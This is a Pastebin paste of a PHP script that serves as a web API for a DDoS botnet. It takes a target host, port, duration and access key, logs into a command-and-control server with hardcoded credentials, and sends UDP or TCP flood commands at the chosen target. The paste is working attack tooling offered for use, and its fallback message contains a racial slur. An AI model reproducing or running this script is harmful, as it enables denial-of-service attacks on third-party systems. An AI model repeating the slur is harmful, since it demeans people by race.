Advertisement
Guest User

api

a guest
Mar 23rd, 2017
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.18 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3.  
  4. $server = "0.0.0.0"; //CNC Botnet IP
  5. $conport = 0; // CNC Botnet Port
  6. $username = "Cloud";
  7. $password = "exploit";
  8.  
  9. $method = $_GET['method'];
  10. $target = $_GET['host'];
  11. $port = $_GET['port'];
  12. $time = $_GET['time'];
  13. $key = $_GET['key'];
  14.  
  15. if(isset($method)&&isset($target)&&isset($port)&&isset($time)&&isset($key))
  16. {
  17.  
  18. $keyfile = fopen("keys.txt","r");
  19. $getKeys = fread($keyfile, strlen("keys.txt"));
  20.  
  21. $splitKeys = explode("\n",$getKeys);
  22.  
  23. if(in_array($key, $splitKeys)){
  24.  
  25. if($method == "STOP"){$command = "!* KILLATTK";}
  26. if($method == "UDP"){$command = "!* UDP $target $port $time 32 0 1";}
  27. if($method == "TCP"){$command = "!* TCP $target $port $time 32 all 0 1";}
  28.  
  29. $sock = fsockopen($server, $conport, $errno, $errstr, 2);
  30.  
  31. if(!$sock){
  32.     echo "Rip server, failed to connect :(.";
  33. } else{
  34.     fread($sock, 1024);
  35.     fwrite($sock, $username . "\n");
  36.     fread($sock, 1024);
  37.     fwrite($sock, $password . "\n");
  38.     fread($sock, 1024);
  39.     fwrite($sock, $command . "\n");
  40.     fclose($sock);
  41.     echo "Attack Sent To $target For $time Seconds";
  42. }
  43.  
  44. } else {
  45.     echo "Key does not exist.\nPut All Keys In 'keys.txt'\n";
  46. }
  47.  
  48. } else {
  49.     echo "You fucking nigger.\n";
  50. }
  51. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement